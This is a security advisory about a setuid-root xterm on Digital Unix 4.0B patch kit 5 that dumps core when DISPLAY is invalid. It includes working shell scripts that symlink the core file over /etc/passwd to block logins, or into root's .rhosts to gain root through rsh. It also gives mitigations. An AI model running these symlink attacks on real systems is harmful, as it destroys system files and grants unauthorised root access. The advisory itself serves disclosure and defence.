COMMAND

    xterm

SYSTEMS AFFECTED

    Digital Unix 4.0B *with* patch kit 5

PROBLEM

    Tom  Leffingwell  found  following.    Patch  kit  5  included   a
    replacement  xterm  because  the  old  one  had  a bug, too.  They
    replaced it with another that had a bigger problem.  You can cause
    a  segmentation  fault  in  xterm  simply  by setting your DISPLAY
    variable to a display that you aren't allowed to connect to or one
    that doesn't exist.  Start xterm, and you get a core file.

    Xterm is installed  setuid root.   You can not  be 100% sure  what
    happens, since  DEC doesn't  release the  source for  patches.  It
    does dump core at XtOpenApplication(), however.

    Even with  a buffer  overflow, there  is still  no exploit for DU.
    Despite that, a person with  basic knowledge of unix could  easily
    do something like:

        #/!bin/csh
        cd /tmp
        ln -s /etc/passwd /tmp/core
        setenv DISPLAY abcdefghi
        /usr/bin/X11/xterm

    The  contents  of  /etc/passwd  becomes  xterm's  core, preventing
    further  logins.   Obviously  you  could  do  things  without   an
    immediate impact such as ln -s /vmunix /tmp/core.

    Andrew Brown added following.  If the system you're on is actually
    running r-services, you could do:

        #!/bin/sh
        DISPLAY="
        + +
        "
        export DISPLAY
        cd /tmp
        ln -s /.rhosts /tmp/core
        /usr/bin/X11/xterm
        rsh localhost

    which sets the  DISPLAY variable to  an "admit all  from all" line
    and the  core dump  will go  into root's  .rhosts file.   then all
    that remains is the rsh localhost and you're all set!  DU  doesn't
    allow  +'s  in  /.rhosts,  at  least  under C2.  However, this was
    tested with the C2 security  package installed under 4.0, and  + +
    appears to work fine. There  is an option called NO_PLUS  that can
    be  set  in  /etc/hosts.equiv  that  will  globally  prevent the +
    wildcard.

SOLUTION

    Unpatched 4.0B is not vunerable to this particular problem, but it
    is to others.  Needless to say, change permissions on xterm,  have
    the users run dxterm, its better anyway.

    To avoid the problem of core file creation, Johan Danielsson  said
    to patch /vmunix:

        # cp /vmunix /vmunix.save
        # dbx /vmunix
        (dbx) ((unsigned*)core+82)/1 i
          [core:5261, 0xfffffc000026ff48]       and     r1, r2, r1
        (dbx) patch *((unsigned*)core+82) = 0x203f0001
          [core:5261, 0xfffffc000026ff48]       lda     r1, 1(r31)
        (dbx) q
        # reboot

    Paul Szabo's  colleague of  mine suggests  that, since /sbin/rc3.d
    starts  anything  a  user's  process  could  be a descendant of, a
    simpler method might be to insert one line into /sbin/rc3 :

        ulimit -h -c 0

    This solution seems to work in practice.